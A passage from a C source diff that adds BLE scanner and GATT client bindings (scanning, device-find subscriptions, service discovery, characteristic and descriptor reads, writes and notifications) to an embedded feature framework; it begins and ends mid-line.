FeatureSetObjectData(handle, scan_info); + + return handle; +#else + return NULL; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BLE_SCAN +static void feature_scan_destroy(FeatureInterfaceHandle handle) +{ + bt_list_node_t* node; + feature_bluetooth_scan_info_t* scan_info = (feature_bluetooth_scan_info_t*)FeatureGetObjectData(handle); + if (scan_info == NULL) + return; + + bt_instance_t* bluetooth_instance = scan_info->ins; + feature_bluetooth_features_info_t* features_info = (feature_bluetooth_features_info_t*)(bluetooth_instance->context); + + if (scan_info->scan) { + FEATURE_LOG_INFO("%s::%s(), stop scanning\n", file_tag, __FUNCTION__); + bt_le_stop_scan_async(bluetooth_instance, scan_info->scan, NULL, NULL); + scan_info->scan = NULL; + } + + if (scan_info->start_userdata) { + free(scan_info->start_userdata); + scan_info->start_userdata = NULL; + } + + for (node = bt_list_head(scan_info->subscribe_info); node != NULL; node = bt_list_next(scan_info->subscribe_info, node)) { + scan_subscribe_info_t* subscribe_info = bt_list_node(node); + FeatureRemoveCallback(handle, subscribe_info->callback); + FeatureRemoveCallback(handle, subscribe_info->fail); + } + bt_list_free(scan_info->subscribe_info); + + bt_list_remove(features_info->feature_ble_scan, scan_info); +} +#endif + +void system_bluetooth_ble_Scanner_interface_scan_finalize(FeatureInterfaceHandle handle) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + feature_scan_destroy(handle); +#endif +} + +#ifdef CONFIG_BLUETOOTH_BLE_SCAN +static void on_scan_result_cb(bt_scanner_t* scanner, ble_scan_result_t* result) +{ + bt_list_node_t* node; + feature_bluetooth_scan_info_t* scan_info; + system_bluetooth_ble_ScanResult* result_data = NULL; + FtArray* result_array = NULL; + FtAny data = NULL; + bt_instance_t* bluetooth_instance; + + bluetooth_instance = ((bt_scan_remote_t*)scanner)->ins; + FIND_INFO_BY_OBJECT(bluetooth_instance, scanner, scan, scan_info); + if (!scan_info) { + FEATURE_LOG_ERROR("%s, scan_info not found", __func__); + return; + } + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + result_array = system_bluetooth_ble_malloc_ScanResult_struct_type_array(); + result_array->_size = 1; + result_data = system_bluetooth_bleMallocScanResult(); + result_array->_element = calloc(result_array->_size, sizeof(system_bluetooth_ble_ScanResult*)); + ((system_bluetooth_ble_ScanResult**)result_array->_element)[0] = result_data; + bt_addr_ba2str(&result->addr, addr_str); + result_data->deviceId = StringToFtString(addr_str); + result_data->rssi = result->rssi; + + switch (result->addr_type) { + case BT_LE_ADDR_TYPE_PUBLIC: + result_data->addressType = StringToFtString("PUBLIC"); + break; + case BT_LE_ADDR_TYPE_RANDOM: + result_data->addressType = StringToFtString("RANDOM"); + break; + case BT_LE_ADDR_TYPE_ANONYMOUS: + result_data->addressType = StringToFtString("ANONYMOUS"); + break; + default: + result_data->addressType = StringToFtString("UNKNOWN"); + break; + } + + ft_context_ref ft_ctx = FeatureGetContext(scan_info->interface); + data = (FtAny)FeatureMalloc(sizeof(ft_value_t), FT_ANY_REF); + *data = ft_from_buffer(ft_ctx, (uint8_t*)result->adv_data, result->length); + result_data->data = data; + + for (node = bt_list_head(scan_info->subscribe_info); node != NULL; node = bt_list_next(scan_info->subscribe_info, node)) { + scan_subscribe_info_t* subscribe_info = bt_list_node(node); + FeatureInvokeCallback(scan_info->interface, subscribe_info->callback, result_array); + } + + ft_free_value(ft_ctx, *data); + FeatureFreeValue(result_array); +} + +static void on_scan_start_status_cb(bt_scanner_t* scanner, uint8_t status) +{ + feature_data_t* data; + feature_bluetooth_scan_info_t* scan_info; + bt_instance_t* bluetooth_instance; + + bluetooth_instance = ((bt_scan_remote_t*)scanner)->ins; + FIND_INFO_BY_OBJECT(bluetooth_instance, scanner, scan, scan_info); + if (!scan_info) { + FEATURE_LOG_ERROR("%s, scan_info not found", __func__); + return; + } + + data = (feature_data_t*)scan_info->start_userdata; + + FEATURE_LOG_INFO("%s, scanner:%p, status:%d", __func__, scanner, status); + + if (status != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, scan start fail", __func__); + scan_info->scan = NULL; + scan_info->busy = false; + FeaturePromiseReject(scan_info->interface, data->pid, bt_status_to_feature_error(status), "start scan failed!"); + } else { + FeaturePromiseResolve(scan_info->interface, data->pid); + } + + free(scan_info->start_userdata); + scan_info->start_userdata = NULL; +} + +static void on_scan_stopped_cb(bt_scanner_t* scanner) +{ + feature_bluetooth_scan_info_t* scan_info; + bt_instance_t* bluetooth_instance; + + bluetooth_instance = ((bt_scan_remote_t*)scanner)->ins; + FIND_INFO_BY_OBJECT(bluetooth_instance, scanner, scan, scan_info); + if (!scan_info) { + FEATURE_LOG_ERROR("%s, scan_info not found", __func__); + return; + } + + FEATURE_LOG_ERROR("%s, scanner:%p", __func__, scanner); + + scan_info->scan = NULL; + scan_info->busy = false; +} + +static const scanner_callbacks_t scanner_callbacks = { + sizeof(scanner_callbacks_t), + on_scan_result_cb, + on_scan_start_status_cb, + on_scan_stopped_cb +}; + +static void start_scan_cb(bt_instance_t* ins, bt_status_t status, void* scan, void* userdata) +{ + feature_data_t* data = (feature_data_t*)userdata; + feature_bluetooth_scan_info_t* scan_info; + + FIND_INFO_BY_USERDATA(ins, userdata, scan, scan_info); + + if (!scan_info) { + status = BT_STATUS_PARM_INVALID; + goto error; + } + + assert(scan_info->scan == NULL); + + if (scan) { + scan_info->scan = scan; + } else { + scan_info->busy = false; + FeaturePromiseReject(scan_info->interface, data->pid, bt_status_to_feature_error(status), "start scan failed!"); + } + + return; + +error: + if (scan) + bt_le_stop_scan_async(ins, scan, NULL, NULL); +} +#endif + +void system_bluetooth_ble_Scanner_interface_scan_startBLEScan(FeatureInterfaceHandle handle, AppendData append_data, + FtPromiseId pid, system_bluetooth_ble_StartScanParams* params) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + bt_status_t status; + feature_data_t* data = NULL; + feature_bluetooth_scan_info_t* scan_info; + ble_scan_settings_t settings = { BT_SCAN_MODE_LOW_POWER, 0, BT_LE_SCAN_TYPE_PASSIVE, BT_LE_1M_PHY, { 0 } }; + + status = BT_STATUS_FAIL; + scan_info = FeatureGetObjectData(handle); + if (!scan_info) { + FEATURE_LOG_ERROR("%s, scanner has been closed", __func__); + return; + } + + if (!params) { + status = BT_STATUS_PARM_INVALID; + goto error; + } + + if (scan_info->busy) { + FEATURE_LOG_ERROR("%s, Repeated Attempt", __func__); + status = BT_STATUS_DONE; + goto error; + } + + if (params->options) { + settings.scan_mode = params->options->dutyMode; + } + + data = (feature_data_t*)malloc(sizeof(feature_data_t)); + if (!data) { + status = BT_STATUS_NOMEM; + goto error; + } + + data->interface = handle; + data->pid = pid; + + scan_info->start_userdata = (void*)data; + + status = bt_le_start_scan_settings_async(scan_info->ins, &settings, &scanner_callbacks, start_scan_cb, (void*)data); + if (status != BT_STATUS_SUCCESS) + goto error; + + scan_info->busy = true; + return; + +error: + if (data) { + free(data); + scan_info->start_userdata = NULL; + } + + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(status), "start scan failed!"); +#else + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(BT_STATUS_FAIL), "scanner is not supported"); +#endif +} + +void system_bluetooth_ble_Scanner_interface_scan_stopBLEScan(FeatureInterfaceHandle handle, AppendData append_data) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + feature_bluetooth_scan_info_t* scan_info = FeatureGetObjectData(handle); + if (!scan_info) { + FEATURE_LOG_ERROR("%s, scanner has been closed", __func__); + return; + } + + if (scan_info->scan == NULL) + return; + + bt_le_stop_scan_async(scan_info->ins, scan_info->scan, NULL, NULL); +#endif +} + +void system_bluetooth_ble_Scanner_interface_scan_getScanState(FeatureInterfaceHandle handle, AppendData append_data, FtPromiseId pid) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + feature_bluetooth_scan_info_t* scan_info = FeatureGetObjectData(handle); + system_bluetooth_ble_ScanStateParams* state; + if (!scan_info) { + FEATURE_LOG_ERROR("%s, scanner has been closed", __func__); + return; + } + + state = system_bluetooth_bleMallocScanStateParams(); + if (scan_info->scan) + state->scanState = STATE_SCANING; + else + state->scanState = STATE_NON_SCAN; + + FeaturePromiseResolve(handle, pid, state); + FeatureFreeValue(state); +#endif +} + +FtInt system_bluetooth_ble_Scanner_interface_scan_subscribeBLEDeviceFind(FeatureInterfaceHandle handle, AppendData append_data, + system_bluetooth_ble_DeviceFindParams* params) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + feature_bluetooth_scan_info_t* scan_info = FeatureGetObjectData(handle); + scan_subscribe_info_t* subscribe_info; + + if (!scan_info) { + FEATURE_LOG_ERROR("%s, scanner has been closed", __func__); + return -1; + } + + if (!(params->callback > 0)) { + if (params->fail > 0) { + FeatureInvokeCallback(handle, params->fail); + FeatureRemoveCallback(handle, params->fail); + } + FEATURE_LOG_ERROR("%s, callback is not set", __func__); + return -1; + } + + subscribe_info = (scan_subscribe_info_t*)malloc(sizeof(scan_subscribe_info_t)); + subscribe_info->callback = params->callback; + // actually not used + subscribe_info->fail = params->fail; + subscribe_info->id = scan_info->subscribe_id++; + + bt_list_add_tail(scan_info->subscribe_info, subscribe_info); + + return subscribe_info->id; +#else + return -1; +#endif +} + +void system_bluetooth_ble_Scanner_interface_scan_unsubscribeBLEDeviceFind(FeatureInterfaceHandle handle, AppendData append_data, FtInt SubscribeId) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + scan_subscribe_info_t* subscribe_info; + feature_bluetooth_scan_info_t* scan_info = FeatureGetObjectData(handle); + if (!scan_info) { + FEATURE_LOG_ERROR("%s, scanner has been closed", __func__); + return; + } + + subscribe_info = (scan_subscribe_info_t*)bt_list_find(scan_info->subscribe_info, scan_subscribe_info_cmp, &SubscribeId); + if (!subscribe_info) + return; + + FeatureRemoveCallback(handle, subscribe_info->callback); + FeatureRemoveCallback(handle, subscribe_info->fail); + bt_list_remove(scan_info->subscribe_info, subscribe_info); +#endif +} + +void system_bluetooth_ble_Scanner_interface_scan_close(FeatureInterfaceHandle handle, AppendData append_data) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + feature_scan_destroy(handle); + + FeatureSetObjectData(handle, NULL); +#endif +} + +#ifdef CONFIG_BLUETOOTH_GATT +typedef enum { + FEATURE_GATT_STATE_DISCONNECTED, + FEATURE_GATT_STATE_CONNECTING, + FEATURE_GATT_STATE_CONNECTED, + FEATURE_GATT_STATE_DISCONNECTING +} feature_gatt_state_t; + +static void feature_notify_gatt_state_changed(FeatureInterfaceHandle handle, connection_state_t state, bt_address_t* addr) +{ + FtEventId event_id = FeatureGetEventId(handle, "onBLEConnectionStateChange"); + FtInt conn_state; + + if (!(FeatureGetEventCallbackCount(handle, event_id) > 0)) + return; + + switch (state) { + case CONNECTION_STATE_DISCONNECTED: + conn_state = FEATURE_GATT_STATE_DISCONNECTED; + break; + case CONNECTION_STATE_CONNECTING: + conn_state = FEATURE_GATT_STATE_CONNECTING; + break; + case CONNECTION_STATE_DISCONNECTING: + conn_state = FEATURE_GATT_STATE_DISCONNECTING; + break; + case CONNECTION_STATE_CONNECTED: + conn_state = FEATURE_GATT_STATE_CONNECTED; + break; + default: + return; + } + FeatureEmitEvent(handle, event_id, conn_state); +} + +static void gattc_set_conn_state(feature_bluetooth_gattc_info_t* gattc_info, connection_state_t state) +{ + connection_state_t old_state = gattc_info->gattc->conn_state; + + if (old_state == state) + return; + + FEATURE_LOG_INFO("gattc connect state changed from %d to %d", old_state, state); + gattc_info->gattc->conn_state = state; + feature_notify_gatt_state_changed(gattc_info->interface, state, &gattc_info->gattc->remote_address); +} + +static void connect_callback(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle) +{ + feature_bluetooth_gattc_info_t* gattc_info; + gattc_data_t* data = NULL; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + bt_instance_t* bluetooth_instance = gattc_remote->ins; + + FEATURE_LOG_ERROR("%s, connect failed, status: %d", __func__, status); + + FIND_INFO_BY_OBJECT(bluetooth_instance, conn_handle, gattc, gattc_info); + if (gattc_info == NULL) { + FEATURE_LOG_ERROR("%s, gattc info not found", __func__); + return; + } + + data = (gattc_data_t*)bt_list_find(gattc_info->userdata_list, gattc_userdata_type_cmp, (void*)FEATURE_GATTC_CONN); + if (!data) { + FEATURE_LOG_INFO("%s, data not found", __func__); + + if (status == GATT_STATUS_SUCCESS) + gattc_set_conn_state(gattc_info, CONNECTION_STATE_CONNECTED); + + return; + } + + if (status != GATT_STATUS_SUCCESS) { + if (gattc_info->gattc->conn_state == CONNECTION_STATE_CONNECTING) + gattc_set_conn_state(gattc_info, CONNECTION_STATE_DISCONNECTED); + + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc connect failed!"); + bt_list_remove(gattc_info->userdata_list, data); + return; + } + + gattc_set_conn_state(gattc_info, CONNECTION_STATE_CONNECTED); + FEATURE_LOG_INFO("%s, connect success", __func__); + FeaturePromiseResolve(data->interface, data->pid); + bt_list_remove(gattc_info->userdata_list, data); +} + +static void disconnect_callback(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle) +{ + feature_bluetooth_gattc_info_t* gattc_info; + gattc_data_t* data = NULL; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + bt_instance_t* bluetooth_instance = gattc_remote->ins; + + FIND_INFO_BY_OBJECT(bluetooth_instance, conn_handle, gattc, gattc_info); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc_info not found", __func__); + return; + } + + data = (gattc_data_t*)bt_list_find(gattc_info->userdata_list, gattc_userdata_type_cmp, (void*)FEATURE_GATTC_DISCONN); + if (!data) { + FEATURE_LOG_INFO("%s, data not found", __func__); + + if (status == GATT_STATUS_SUCCESS) + gattc_set_conn_state(gattc_info, CONNECTION_STATE_DISCONNECTED); + + return; + } + + if (status != GATT_STATUS_SUCCESS) { + if (gattc_info->gattc->conn_state == CONNECTION_STATE_DISCONNECTING) + gattc_set_conn_state(gattc_info, CONNECTION_STATE_CONNECTED); + + FEATURE_LOG_ERROR("%s, disconnect failed, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc disconnect failed!"); + bt_list_remove(gattc_info->userdata_list, data); + return; + } + + gattc_set_conn_state(gattc_info, CONNECTION_STATE_DISCONNECTED); + FeaturePromiseResolve(gattc_info->interface, data->pid); + bt_list_remove(gattc_info->userdata_list, data); +} + +static system_bluetooth_ble_BLEDescriptor* feature_get_descriptor_info(ft_context_ref ft_ctx, const gatt_descriptor_t* descriptor) +{ + system_bluetooth_ble_BLEDescriptor* feature_descriptor; + + if (!descriptor) { + return NULL; + } + + feature_descriptor = system_bluetooth_bleMallocBLEDescriptor(); + feature_descriptor->serviceUuid = bt_uuid_to_feature_string(&descriptor->service_uuid); + feature_descriptor->characteristicUuid = bt_uuid_to_feature_string(&descriptor->characteristic_uuid); + + feature_descriptor->descriptorUuid = bt_uuid_to_feature_string(&descriptor->uuid); + feature_descriptor->descriptorValue = (FtAny)FeatureMalloc(sizeof(ft_value_t), FT_ANY_REF); + *feature_descriptor->descriptorValue = ft_from_buffer(ft_ctx, descriptor->value, descriptor->value_len); + + return feature_descriptor; +} + +static system_bluetooth_ble_BLECharacteristic* feature_get_characteristic_info(ft_context_ref ft_ctx, const gatt_characteristic_t* characteristic) +{ + system_bluetooth_ble_BLECharacteristic* feature_characteristic; + system_bluetooth_ble_GattProperties* properties; + FtArray* descriptor_array; + + feature_characteristic = system_bluetooth_bleMallocBLECharacteristic(); + feature_characteristic->characteristicUuid = bt_uuid_to_feature_string(&characteristic->uuid); + feature_characteristic->serviceUuid = bt_uuid_to_feature_string(&characteristic->service_uuid); + + feature_characteristic->characteristicValue = (FtAny)FeatureMalloc(sizeof(ft_value_t), FT_ANY_REF); + *feature_characteristic->characteristicValue = ft_from_buffer(ft_ctx, characteristic->value, characteristic->value_len); + + descriptor_array = system_bluetooth_ble_malloc_BLEDescriptor_struct_type_array(); + descriptor_array->_size = characteristic->descriptor_count; + descriptor_array->_element = calloc(characteristic->descriptor_count, sizeof(system_bluetooth_ble_BLEDescriptor*)); + for (int i = 0; i < characteristic->descriptor_count; i++) { + ((system_bluetooth_ble_BLEDescriptor**)descriptor_array->_element)[i] = feature_get_descriptor_info(ft_ctx, &characteristic->descriptors[i]); + } + + feature_characteristic->descriptors = descriptor_array; + + properties = system_bluetooth_bleMallocGattProperties(); + + properties->read = characteristic->properties & GATT_PROP_READ; + properties->write = characteristic->properties & GATT_PROP_WRITE; + properties->writeNoResponse = characteristic->properties & GATT_PROP_WRITE_NR; + properties->notify = characteristic->properties & GATT_PROP_NOTIFY; + properties->indicate = characteristic->properties & GATT_PROP_INDICATE; + feature_characteristic->properties = properties; + + return feature_characteristic; +} + +static system_bluetooth_ble_GattService* feature_get_service_info(ft_context_ref ft_ctx, const gatt_service_t* service) +{ + FtArray* characteristics_array; + system_bluetooth_ble_GattService* feature_service; + + feature_service = system_bluetooth_bleMallocGattService(); + feature_service->serviceUuid = bt_uuid_to_feature_string(&service->uuid); + feature_service->isPrimary = service->is_primary; + + characteristics_array = system_bluetooth_ble_malloc_BLECharacteristic_struct_type_array(); + characteristics_array->_size = service->characteristic_count; + characteristics_array->_element = calloc(service->characteristic_count, sizeof(system_bluetooth_ble_BLECharacteristic*)); + for (uint8_t i = 0; i < service->characteristic_count; i++) { + ((system_bluetooth_ble_BLECharacteristic**)characteristics_array->_element)[i] = feature_get_characteristic_info(ft_ctx, &service->characteristics[i]); + } + + feature_service->characteristics = characteristics_array; + feature_service->includeServices = NULL; + + // Recursive nesting of GattService is not handled within this function. + + return feature_service; +} + +static system_bluetooth_ble_GattService* feature_get_include_service_info(ft_context_ref ft_ctx, const gatt_include_service_t* include_service) +{ + system_bluetooth_ble_GattService* feature_innclude_service; + + feature_innclude_service = system_bluetooth_bleMallocGattService(); + memset(feature_innclude_service, 0, sizeof(system_bluetooth_ble_GattService)); + feature_innclude_service->serviceUuid = bt_uuid_to_feature_string(&include_service->included_service_uuid); + + return feature_innclude_service; +} + +void feature_free_characteristic(ft_context_ref ft_ctx, system_bluetooth_ble_BLECharacteristic* feature_characteristic) +{ + system_bluetooth_ble_BLEDescriptor* feature_descriptor; + + if (!feature_characteristic) + return; + + // free own characteristicValue + ft_free_value(ft_ctx, *feature_characteristic->characteristicValue); + + // free descriptorValue of every descriptor + for (int i = 0; i < feature_characteristic->descriptors->_size; i++) { + feature_descriptor = ((system_bluetooth_ble_BLEDescriptor**)feature_characteristic->descriptors->_element)[i]; + ft_free_value(ft_ctx, *feature_descriptor->descriptorValue); + } +} + +void feature_free_service(ft_context_ref ft_ctx, system_bluetooth_ble_GattService* feature_service) +{ + if (!feature_service) + return; + + system_bluetooth_ble_BLECharacteristic* feature_characteristic; + int characteristic_count = feature_service->characteristics->_size; + + for (int i = 0; i < characteristic_count; i++) { + feature_characteristic = ((system_bluetooth_ble_BLECharacteristic**)feature_service->characteristics->_element)[i]; + feature_free_characteristic(ft_ctx, feature_characteristic); + } +} + +static void discover_callback(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle, + const gatt_service_t* service[], size_t count) +{ + feature_bluetooth_gattc_info_t* gattc_info; + gattc_data_t* data = NULL; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + bt_instance_t* bluetooth_instance = gattc_remote->ins; + FtArray* feature_service_array; + + FIND_INFO_BY_OBJECT(bluetooth_instance, conn_handle, gattc, gattc_info); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc_info not found", __func__); + return; + } + + data = (gattc_data_t*)bt_list_find(gattc_info->userdata_list, gattc_userdata_type_cmp, (void*)FEATURE_GATTC_DISCOVERY); + if (!data) { + FEATURE_LOG_ERROR("%s, data not found", __func__); + return; + } + + if (status != GATT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, get service failed, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc get service failed!"); + bt_list_remove(gattc_info->userdata_list, data); + return; + } + + ft_context_ref ft_ctx = FeatureGetContext(data->interface); + + feature_service_array = system_bluetooth_ble_malloc_GattService_struct_type_array(); + feature_service_array->_size = count; + feature_service_array->_element = calloc(feature_service_array->_size, sizeof(system_bluetooth_ble_GattService*)); + + // service == NULL indicates the end of reporting + for (int index = 0; index < count; index++) { + system_bluetooth_ble_GattService* feature_service = feature_get_service_info(ft_ctx, service[index]); + + FtArray* include_service_array = system_bluetooth_ble_malloc_GattService_struct_type_array(); + include_service_array->_size = service[index]->included_service_count; + include_service_array->_element = calloc(service[index]->included_service_count, sizeof(system_bluetooth_ble_GattService*)); + for (uint8_t i = 0; i < service[index]->included_service_count; i++) { + ((system_bluetooth_ble_GattService**)include_service_array->_element)[i] = feature_get_include_service_info(ft_ctx, &service[index]->included_services[i]); + // GattService nests up to one level, so any inner GattService does not nest further. + ((system_bluetooth_ble_GattService**)include_service_array->_element)[i]->includeServices = NULL; + } + + feature_service->includeServices = include_service_array; + + ((system_bluetooth_ble_GattService**)feature_service_array->_element)[index] = feature_service; + } + + FEATURE_LOG_INFO("%s, get service success", __func__); + FeaturePromiseResolve(data->interface, data->pid, feature_service_array); + + // for every outer feature_service in feature_service_array + for (int k = 0; k < feature_service_array->_size; k++) { + system_bluetooth_ble_GattService* feature_service_element = ((system_bluetooth_ble_GattService**)feature_service_array->_element)[k]; + int included_service_count = feature_service_element->includeServices->_size; + + for (int i = 0; i < included_service_count; i++) { + system_bluetooth_ble_GattService* feature_include_service; + feature_include_service = ((system_bluetooth_ble_GattService**)feature_service_element->includeServices->_element)[i]; + feature_free_service(ft_ctx, feature_include_service); + } + + feature_free_service(ft_ctx, feature_service_element); + } + + FeatureFreeValue(feature_service_array); + bt_list_remove(gattc_info->userdata_list, data); + + return; +} + +static void read_char_callback(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle, + const gatt_characteristic_t* characteristic) +{ + feature_bluetooth_gattc_info_t* gattc_info; + gattc_data_t* data = NULL; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + bt_instance_t* bluetooth_instance = gattc_remote->ins; + system_bluetooth_ble_BLECharacteristic* feature_characteristic; + + FIND_INFO_BY_OBJECT(bluetooth_instance, conn_handle, gattc, gattc_info); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc_info not found", __func__); + return; + } + + data = (gattc_data_t*)bt_list_find(gattc_info->userdata_list, gattc_userdata_type_cmp, (void*)FEATURE_GATTC_READ_CHAR); + if (!data) { + FEATURE_LOG_ERROR("%s, data not found", __func__); + return; + } + + if (status != GATT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, read characteristic failed, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc read characteristic failed!"); + bt_list_remove(gattc_info->userdata_list, data); + return; + } + + ft_context_ref ft_ctx = FeatureGetContext(data->interface); + feature_characteristic = feature_get_characteristic_info(ft_ctx, characteristic); + + FeaturePromiseResolve(data->interface, data->pid, feature_characteristic); + + feature_free_characteristic(ft_ctx, feature_characteristic); + FeatureFreeValue(feature_characteristic); + bt_list_remove(gattc_info->userdata_list, data); +} + +static void read_desc_callback(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle, + const gatt_descriptor_t* descriptor) +{ + feature_bluetooth_gattc_info_t* gattc_info; + gattc_data_t* data = NULL; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + bt_instance_t* bluetooth_instance = gattc_remote->ins; + system_bluetooth_ble_BLEDescriptor* feature_descriptor; + + FIND_INFO_BY_OBJECT(bluetooth_instance, conn_handle, gattc, gattc_info); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc_info not found", __func__); + return; + } + + data = (gattc_data_t*)bt_list_find(gattc_info->userdata_list, gattc_userdata_type_cmp, (void*)FEATURE_GATTC_READ_DESC); + if (!data) { + FEATURE_LOG_ERROR("%s, data not found", __func__); + return; + } + + if (status != GATT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, read descriptor, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc read descriptor failed!"); + bt_list_remove(gattc_info->userdata_list, data); + return; + } + + ft_context_ref ft_ctx = FeatureGetContext(data->interface); + feature_descriptor = feature_get_descriptor_info(ft_ctx, descriptor); + + FeaturePromiseResolve(data->interface, data->pid, feature_descriptor); + + ft_free_value(ft_ctx, *feature_descriptor->descriptorValue); + FeatureFreeValue(feature_descriptor); + bt_list_remove(gattc_info->userdata_list, data); +} + +static void write_char_callback(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle) +{ + feature_bluetooth_gattc_info_t* gattc_info; + gattc_data_t* data = NULL; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + bt_instance_t* bluetooth_instance = gattc_remote->ins; + + FIND_INFO_BY_OBJECT(bluetooth_instance, conn_handle, gattc, gattc_info); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc_info not found", __func__); + return; + } + + data = (gattc_data_t*)bt_list_find(gattc_info->userdata_list, gattc_userdata_type_cmp, (void*)FEATURE_GATTC_WRITE_CHAR); + if (!data) { + FEATURE_LOG_ERROR("%s, data not found", __func__); + return; + } + + if (status != GATT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, write characteristic, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc write characteristic failed!"); + bt_list_remove(gattc_info->userdata_list, data); + return; + } + + FeaturePromiseResolve(gattc_info->interface, data->pid); + bt_list_remove(gattc_info->userdata_list, data); +} + +static void write_desc_callback(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle) +{ + feature_bluetooth_gattc_info_t* gattc_info; + gattc_data_t* data = NULL; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + bt_instance_t* bluetooth_instance = gattc_remote->ins; + + FIND_INFO_BY_OBJECT(bluetooth_instance, conn_handle, gattc, gattc_info); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc_info not found", __func__); + return; + } + + data = (gattc_data_t*)bt_list_find(gattc_info->userdata_list, gattc_userdata_type_cmp, (void*)FEATURE_GATTC_WRITE_DESC); + if (!data) { + FEATURE_LOG_ERROR("%s, data not found", __func__); + return; + } + + if (status != GATT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, write descriptor, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc write descriptor failed!"); + bt_list_remove(gattc_info->userdata_list, data); + return; + } + + FeaturePromiseResolve(gattc_info->interface, data->pid); + bt_list_remove(gattc_info->userdata_list, data); +} + +static void subscribe_complete_callback(bt_instance_t* ins, gatt_status_t status, gattc_handle_t conn_handle, bool enable) +{ + feature_bluetooth_gattc_info_t* gattc_info; + gattc_data_t* data = NULL; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + bt_instance_t* bluetooth_instance = gattc_remote->ins; + + FIND_INFO_BY_OBJECT(bluetooth_instance, conn_handle, gattc, gattc_info); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc_info not found", __func__); + return; + } + + data = (gattc_data_t*)bt_list_find(gattc_info->userdata_list, gattc_userdata_type_cmp, (void*)FEATURE_GATTC_SET_NOTIFY); + if (!data) { + FEATURE_LOG_ERROR("%s, data not found", __func__); + return; + } + + if (status != GATT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, subscribe, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, bt_status_to_feature_error(status), "gattc subscribe failed!"); + bt_list_remove(gattc_info->userdata_list, data); + return; + } + + FeaturePromiseResolve(gattc_info->interface, data->pid); + bt_list_remove(gattc_info->userdata_list, data); +} + +static void notify_received_callback(bt_instance_t* ins, gattc_handle_t conn_handle, + const gatt_characteristic_t* characteristic) +{ + feature_bluetooth_gattc_info_t* gattc_info; + system_bluetooth_ble_BLECharacteristic* feature_characteristic; + + FIND_INFO_BY_OBJECT(ins, conn_handle, gattc, gattc_info); + if (gattc_info == NULL) { + FEATURE_LOG_ERROR("%s, gattc info not found", __func__); + return; + } + + FtEventId event_id = FeatureGetEventId(gattc_info->interface, "onBLECharacteristicChange"); + if (!(FeatureGetEventCallbackCount(gattc_info->interface, event_id) > 0)) + return; + + ft_context_ref ft_ctx = FeatureGetContext(gattc_info->interface); + feature_characteristic = feature_get_characteristic_info(ft_ctx, characteristic); + FeatureEmitEvent(gattc_info->interface, event_id, feature_characteristic); + + feature_free_characteristic(ft_ctx, feature_characteristic); + FeatureFreeValue(feature_characteristic); +} + +static void mtu_updated_callback(gattc_handle_t conn_handle, gatt_status_t status, uint32_t mtu) +{ + feature_bluetooth_gattc_info_t* gattc_info; + gattc_data_t* data = NULL; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + bt_instance_t* bluetooth_instance = gattc_remote->ins; + + FIND_INFO_BY_OBJECT(bluetooth_instance, conn_handle, gattc, gattc_info); + if (!gattc_info) { + FEATURE_LOG_ERROR("%s, gattc_info not found", __func__); + return; + } + + data = (gattc_data_t*)bt_list_find(gattc_info->userdata_list, gattc_userdata_type_cmp, (void*)FEATURE_GATTC_SET_MTU); + if (!data) { + FEATURE_LOG_ERROR("%s, data not found", __func__); + return; + } + + if (status != GATT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, mtu, status: %d", __func__, status); + FeaturePromiseReject(data->interface, data->pid, 